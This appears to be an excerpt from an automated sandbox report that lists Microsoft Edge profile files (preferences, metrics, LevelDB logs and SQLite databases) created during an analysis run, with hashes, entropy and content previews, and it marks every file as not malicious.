Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673D1CF1-1C88.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	DIY-Thermocam raw data (Lepton 3.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 1, calibration: offset -144119586122366976.000000, slope 68694245376.000000
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45433636557048623
Encrypted:	false
SSDEEP:	3072:/5kSTut9WUSQF+zWePkcdo6EbolyqruqMSRn3c0/j4lF7g1HF:eSTsj+zW0kcdFMCXKqhc0/j4lF7aH
MD5:	8DE815668205896C3883BA2EFA1E1BCD
SHA1:	756278EB5C2C57FC18305670CC781DB36EF59123
SHA-256:	1BD11B1BF4FDAAA6DDC127F96C3E097C9826ED8527E0868D837D5F8AA48FCD56
SHA-512:	C6F0A756FEF7EA85BBDFB2FAE7F7B9199667EA906E84070D868E9626C7212E64FEC8F1581D3B77256E7D2E829ADC37420101B0BF7C9D3C45E25D32E37A392064
Malicious:	false
Preview:	...@..@...@.....C.].....@..................H...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".lmbsye20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\21288b0d-ab92-482f-8f04-f614e4add15e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17520), with no line terminators
Category:	dropped
Size (bytes):	17522
Entropy (8bit):	5.4873836417426425
Encrypted:	false
SSDEEP:	384:stvPGKSu4dsuyfh778smHrjS9vbG/Qwr6WClaTYJ:s1OxuYyflT5bGIcwaTYJ
MD5:	ECD8D8F6712FB03ED7F4D474AB25EFDD
SHA1:	B673675534E63511C6C6FDDCE7BF42418B67E2C4
SHA-256:	9C0F76F5560B70985771433DFFD4FD26034428AD99EACDD65070DC3C38956766
SHA-512:	24ED635564C9BEA43F4F3C226523CD9A8659DB4C456B12580349388F80BA83358B6CD4698654B90A8CDF0E13E17AF5947286986482443C1CA20A42DB1B16560F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376531954885286","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\260d1cd5-f910-4e08-ba0a-502491d200c3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5a987581-2a08-418a-89f9-1e2c04de7803.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17356), with no line terminators
Category:	dropped
Size (bytes):	17358
Entropy (8bit):	5.490804865921624
Encrypted:	false
SSDEEP:	384:stvPGKSu4dsuyfh778smHrjS9vbG/Qwr6WsaTYJ:s1OxuYyflT5bGIcwaTYJ
MD5:	F6E316DB1272DB1F7790EDAF3EE92B3F
SHA1:	66A5E8D708F574CA2798689E54A71DCF067934D0
SHA-256:	96C0CE1E9E899DE8D0EAF3841A1FC75C32B63859E12313949E36C7708EDDC55F
SHA-512:	AC755DD08B7406203F162BB4B86D7E9AACB00F0B131D83C8203090A2DED45B178F017BF1D16C849F15570345461154C9EC9AC3A7EED9A194A5ED88F50A3023F4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376531954885286","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\70dd13d5-76ac-49d9-978e-27f43f0b7b1a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13804), with no line terminators
Category:	dropped
Size (bytes):	13806
Entropy (8bit):	5.434273234578071
Encrypted:	false
SSDEEP:	192:stvkdpdsupUsZihUk7XYA6AmmgKD3jeBwYTPCqYj8PbV+FxFQwu66WsaFIMYBPq8:stvQdsuyfhjsmHrjS9JbG/Qwr6WsaTYJ
MD5:	7C3FD0E323A687B0A35C682815D91D77
SHA1:	E9427B96573DE858F14B1312CB8354844AC5422C
SHA-256:	8041FFC6ED48C19848227C071EC86F25E02BFB12176BA6DB312CC5213487BB7B
SHA-512:	D0F4C86720EAAD06BB93CB267C4697BD90FC1A47DE96A5872C2707287DB8E795D55BF13C152187F4E5E9BBF88EFC74B86618F2D39AD9B4F46D8C9FBE1120CBF1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376531954885286","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8094664b-6c26-4430-b03d-0f192c3804de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17520), with no line terminators
Category:	dropped
Size (bytes):	17522
Entropy (8bit):	5.487291933080282
Encrypted:	false
SSDEEP:	384:stvPGKSu4dsuyfh778smHrjS9vbG/Qwr6WalaTYJ:s1OxuYyflT5bGIcwaTYJ
MD5:	E623B60B42677CA8FE856AEDEC9A17AB
SHA1:	8A324D28B19C539BA06B72E87B142483A302A199
SHA-256:	9BCCF562E40521D559CDC9DEB437FCBD099C2775EB8E70ECB25314CBFD3BED46
SHA-512:	DEE21C7EC25CD33984852C3CD563055772466E3F00B8E8591D6263507CD16407CC91A3E848278755BF7A58253D7C9EAA26D3155BEB8B2007E56EA86A9E21E197
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376531954885286","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.2413580599714935
Encrypted:	false
SSDEEP:	6:HUWbSM1923oH+Tcwtp3hBtB2KLlVUWFSVq2P923oH+Tcwtp3hBWsIFUv:ChYebp3dFL5Ov4Yebp3eFUv
MD5:	C391D4C178EB4F8D3B5A2ADCA8767CD6
SHA1:	0546EEFDFF874D5BAB8DDA4B515F20CA3FD29FD9
SHA-256:	85A4026E57488B05C09BE254AE4E6FCA4FF0E6F3C3EEDF3256EFCCF0143673C9
SHA-512:	6F54AE0D2F2B43458664CCC5502DEE668F676221AEC5621D19CDFF923AD8E9F4CB93DB421A69794C0C225D2835AF4574119FD2CF92183E62ECAFBDB79D6AF23C
Malicious:	false
Preview:	2024/11/19-18:19:20.664 1d94 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/19-18:19:20.677 1d94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.22288938278558
Encrypted:	false
SSDEEP:	24576:v+/PN8FQfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8qfx2mjF
MD5:	2840B2DBA647ADE74D29ECB99B71BB56
SHA1:	CCCAA4FE3D03E899B21B3B29132A1072C7150144
SHA-256:	63A3BB4464F9144A31FEA646AB8B7036C54AE165AAE0CDA73564B76F211718E1
SHA-512:	765CB0CFFE3BD3B7B263DA83423FD865F487C51F4D74533EFD6EBB20DC2B76D36BF94FAB61008F4792DA2DDFCCA8A4AED79EFF3BCE3F98FA697148F360F27BBA
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.124004995914922
Encrypted:	false
SSDEEP:	6:HUW8N+q2P923oH+Tcwt9Eh1tIFUt8YUWARHZZmw+YUWwsVkwO923oH+Tcwt9Eh1H:QIv4Yeb9Eh16FUt855/++5LYeb9Eh1VJ
MD5:	5C420472A51F83BE1B33E4C7C964AD40
SHA1:	5902145F50F4DB58C386D3A9D0E53C55A74ADA32
SHA-256:	06A278DD5124A4D66448D46B604FA87398A98EF75CEA2E3A8FB4B21DF993C72F
SHA-512:	000F3E03FD52B84104C00D9B0FB696AAED2C139D406E139629C35170E5C396EB9F26513092316787DF4BAA799F8A302B923E7DF335507557102CD5CB60C703D6
Malicious:	false
Preview:	2024/11/19-18:19:20.679 2148 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/19-18:19:20.684 2148 Recovering log #3.2024/11/19-18:19:20.812 2148 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.124004995914922
Encrypted:	false
SSDEEP:	6:HUW8N+q2P923oH+Tcwt9Eh1tIFUt8YUWARHZZmw+YUWwsVkwO923oH+Tcwt9Eh1H:QIv4Yeb9Eh16FUt855/++5LYeb9Eh1VJ
MD5:	5C420472A51F83BE1B33E4C7C964AD40
SHA1:	5902145F50F4DB58C386D3A9D0E53C55A74ADA32
SHA-256:	06A278DD5124A4D66448D46B604FA87398A98EF75CEA2E3A8FB4B21DF993C72F
SHA-512:	000F3E03FD52B84104C00D9B0FB696AAED2C139D406E139629C35170E5C396EB9F26513092316787DF4BAA799F8A302B923E7DF335507557102CD5CB60C703D6
Malicious:	false
Preview:	2024/11/19-18:19:20.679 2148 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/19-18:19:20.684 2148 Recovering log #3.2024/11/19-18:19:20.812 2148 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46253996069348585
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBue4:TouQq3qh7z3bY2LNW9WMcUvBue4
MD5:	04CBF12F4575FD81020ED21991AC938C
SHA1:	E29241853FC6FFB69BE6956E5E888A42C0F43EC0
SHA-256:	F28C61FBD448848DDEB18696A6623F25F8B3D02E33FA2A8F9415646EEDD1551D
SHA-512:	5686F11F4532DCD1E83D96C1C4B3CA7354F7F87AA242C4FDB204AF1CDCFE7C6672AF729A5044F620E04A5D4ED13F58A9EF3F175B94F842AD3C838D0F3DB6E7D2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.152035139061568
Encrypted:	false
SSDEEP:	6:HUPMq2P923oH+TcwtnG2tMsIFUt8YUyoZZmw+YUyozkwO923oH+TcwtnG2tMsLJ:xv4Yebn9GFUt8cU/+cU5LYebn95J
MD5:	2A0311507C4DF559B163466A1CFB499D
SHA1:	1C0AA186AE1C48C482376666310C9A0AD38A44B6
SHA-256:	5AEA34C46163AAD9318240FB119C9A4FE9D0BE632F703EAD935E3044A5AE2971
SHA-512:	2955611B471D6A4A7435710DB0888A91AD8DA4D5A59D6C935E3EB7B4541ACCAF5E382CAD67FFBFC5DA4D2A6A22D2817CD94F3A45110BE9E60F5FCFCF217C6747
Malicious:	false
Preview:	2024/11/19-18:19:14.282 1ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/19-18:19:14.284 1ed4 Recovering log #3.2024/11/19-18:19:14.284 1ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.152035139061568
Encrypted:	false
SSDEEP:	6:HUPMq2P923oH+TcwtnG2tMsIFUt8YUyoZZmw+YUyozkwO923oH+TcwtnG2tMsLJ:xv4Yebn9GFUt8cU/+cU5LYebn95J
MD5:	2A0311507C4DF559B163466A1CFB499D
SHA1:	1C0AA186AE1C48C482376666310C9A0AD38A44B6
SHA-256:	5AEA34C46163AAD9318240FB119C9A4FE9D0BE632F703EAD935E3044A5AE2971
SHA-512:	2955611B471D6A4A7435710DB0888A91AD8DA4D5A59D6C935E3EB7B4541ACCAF5E382CAD67FFBFC5DA4D2A6A22D2817CD94F3A45110BE9E60F5FCFCF217C6747
Malicious:	false
Preview:	2024/11/19-18:19:14.282 1ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/19-18:19:14.284 1ed4 Recovering log #3.2024/11/19-18:19:14.284 1ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

